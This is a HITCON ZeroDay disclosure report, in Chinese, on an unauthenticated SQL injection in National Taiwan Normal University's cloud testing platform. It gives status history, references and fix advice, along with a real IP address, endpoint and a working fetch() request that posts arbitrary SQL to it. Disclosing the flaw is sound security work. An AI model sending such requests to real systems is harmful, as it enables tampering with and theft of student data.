國立臺灣師範大學 雲端測驗平台 資料庫注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2021-00776
  •  發信 Vendor: 國立臺灣師範大學
  • Title: 國立臺灣師範大學 雲端測驗平台 資料庫注入漏洞
  • Introduction: 可遠端未經授權地對其資料庫執行任意 SQL 指令,包含但不限於 UPDATE、INSERT 及 DELETE。

處理狀態

目前狀態

公開
Last Update : 2022/04/18
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2021/10/27 22:54:06 : 新提交 (由 JLC 更新此狀態)
  • 2021/10/29 22:36:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/11/02 15:45:00 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/11/02 15:45:00 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/11/02 15:45:00 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/12/27 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2022/03/02 15:16:12 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/03/02 15:16:12 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/03/02 15:16:12 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/03/02 15:20:54 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/03/02 15:20:59 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/03/02 15:23:50 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/03/02 15:23:54 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/03/31 07:45:04 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2022/04/18 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2021-00776
  • 通報者:JacobLinCool (JLC)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://140.122.69.39/
http://140.122.69.39/test/AJAX/Post.ashx

敘述

此漏洞可遠端未經授權地對其資料庫執行任意 SQL 指令,包含但不限於 UPDATE、INSERT 及 DELETE。

種類

此漏洞應屬於 SQL Injection,但同時也具 Broken Access Control 的性質。

重現漏洞方式

網站無任何驗證程序,僅需使用 POST 將 SQL 指令傳回即會執行。

網站使用 ASP.NET 進行建構,以 SqlCommand 進行 SQL 的操作。
直接以 ExecuteNonQuery() 的方式執行 POST 內 "Command" 未經處理的參數內容。

const SQL = "SQL Command"
fetch("http://140.122.69.39/test/AJAX/Post.ashx", {
    method: "POST",
    headers: { "content-type": "application/x-www-form-urlencoded; charset=UTF-8" },
    body: "Command=" + encodeURIComponent(SQL) + "&nd=1234567890000&IP=Sql",
})

其中 nd 是 Unix Timestamp。

該 POST 請求回傳的即是 ExecuteNonQuery() 函式之回傳值,可以用來檢查影響到之資料列數。

影響範圍

此漏洞應已影響自 2014 所有使用該平台的師大學生,估計應有上千位。

修補建議

不應於瀏覽器中產生 SQL 指令,應以參數回傳,再於伺服端以避免 SQL Injection 的方式建構指令執行。

建議增加驗證機制,以 cookie 或 session 確定操作者是否有權限。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;